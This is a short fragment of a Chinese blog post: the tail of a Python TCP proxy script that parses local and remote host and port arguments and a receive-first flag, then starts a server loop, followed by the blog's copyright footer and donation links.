#设置本地监听参数

local_host=sys.argv[1]
local_port=int(sys.argv[2])

#设置远程目标
remote_host=sys.argv[3]
remote_port=int(sys.argv[4])

#告知代理发送给远程主机之前连接和接收数据
receive_first=sys.argv[5]

if "True" in receive_first:
receive_first=True
else:
receive_first=False


#设置监听socket
server_loop(local_host,local_port,remote_host,remote_port,receive_first)
main()
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2023-2025 是羽泪云诶
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~

支付宝
微信